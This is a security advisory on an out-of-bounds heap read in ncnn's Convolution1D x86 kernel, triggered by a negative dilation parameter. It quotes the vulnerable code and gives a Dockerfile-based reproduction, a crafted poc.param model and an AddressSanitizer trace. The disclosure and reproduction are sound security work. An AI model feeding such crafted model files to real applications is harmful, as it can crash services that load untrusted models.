Negative Dilation Causes Out-of-Bounds Read
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolution1d_packed.h:2808 in convolution1d_packed
Sanitizer verdict: heap-buffer-overflow
Summary
Convolution1D copies dilation_w out of the parameter file with no sign or range check, and the optimized x86 packed kernel uses it as a raw pointer stride. A model declaring dilation_w=-1 makes the packed loop walk its input pointer backwards between kernel taps, reading in front of the input allocation and crashing the process. ncnnoptimize triggers this while running shape inference on the attacker-supplied .param/.bin pair; any application that loads the model and calls Extractor::extract hits the same path.
Detail
The untrusted field is param key 2 of the Convolution1D layer, stored verbatim by Convolution1D::load_param. Convolution1D_x86::forward uses it twice: once to compute the kernel extent that sizes the output, and once as the per-tap stride handed to convolution1d_packed. A negative value poisons both.
// src/layer/convolution1d.cpp:20
dilation_w = pd.get(2, 1);
// src/layer/x86/convolution1d_x86.cpp:75
const int kernel_extent_w = dilation_w * (kernel_w - 1) + 1;
// src/layer/x86/convolution1d_x86.cpp:99
const int outw = (w - kernel_extent_w) / stride_w + 1;
// src/layer/x86/convolution1d_packed.h:2800
for (; q < inh; q++)
{
const float* r0 = bottom_blob.row(q) + j * stride_w;
// if (elempack == 1)
{
for (int k = 0; k < kernel_w; k++)
{
float val = r0[0];
sum += val * kptr[0];
r0 += dilation_w;
kptr += 1;
}
}
}
The PoC declares kernel_w=2, dilation_w=-1, stride_w=1 over a width-4 input. kernel_extent_w collapses to -1 * (2 - 1) + 1 = 0, so instead of shrinking the output the layer grows it: outw = (4 - 0) / 1 + 1 = 5, one column wider than the input itself.
Inside the packed loop the damage is immediate. For the first output column (j = 0, q = 0), r0 points at the very first element of the input row; tap k = 0 reads r0[0] legally, then r0 += dilation_w decrements the pointer, and tap k = 1 reads r0[0] four bytes before the start of the 84-byte input allocation. ASan reports exactly that ("4 bytes before 84-byte region") and terminates ncnnoptimize during ModelWriter::shape_inference().
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-negative-dilation-causes-out-of-bounds-read && cd ncnn-poc-negative-dilation-causes-out-of-bounds-read
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'EOF'
7767517
2 2
Input data 0 1 data 0=4 1=1
Convolution1D conv 1 1 data out 0=1 1=2 2=-1 6=2
EOF
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e0000001fc at pc 0x5c4f132fa7ea bp 0x7ffe0f6080b0 sp 0x7ffe0f6080a0
READ of size 4 at 0x50e0000001fc thread T0
#0 0x5c4f132fa7e9 in convolution1d_packed /ncnn/src/layer/x86/convolution1d_packed.h:2808
#1 0x5c4f1338640f in ncnn::Convolution1D_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/convolution1d_x86_avx512.cpp:106
#2 0x5c4f0aba8f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#3 0x5c4f0ab9ab7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#4 0x5c4f0abfa9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#5 0x5c4f0aa8c3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#6 0x5c4f0ab09eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#7 0x7ea38e3ec1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x7ea38e3ec28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x5c4f0aa89624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
0x50e0000001fc is located 4 bytes before 84-byte region [0x50e000000200,0x50e000000254)
allocated by thread T0 here:
#0 0x7ea38ea65f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x5c4f0ab59a4f in fastMalloc /ncnn/src/allocator.h:62
#2 0x5c4f0ab59a4f in ncnn::Mat::create(int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:373
#3 0x5c4f0aa8ac6a in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:389
#4 0x5c4f0ab09eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#5 0x7ea38e3ec1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x7ea38e3ec28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x5c4f0aa89624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/layer/x86/convolution1d_packed.h:2808 in convolution1d_packed
Credit
Zheng Yu @ DepthFirst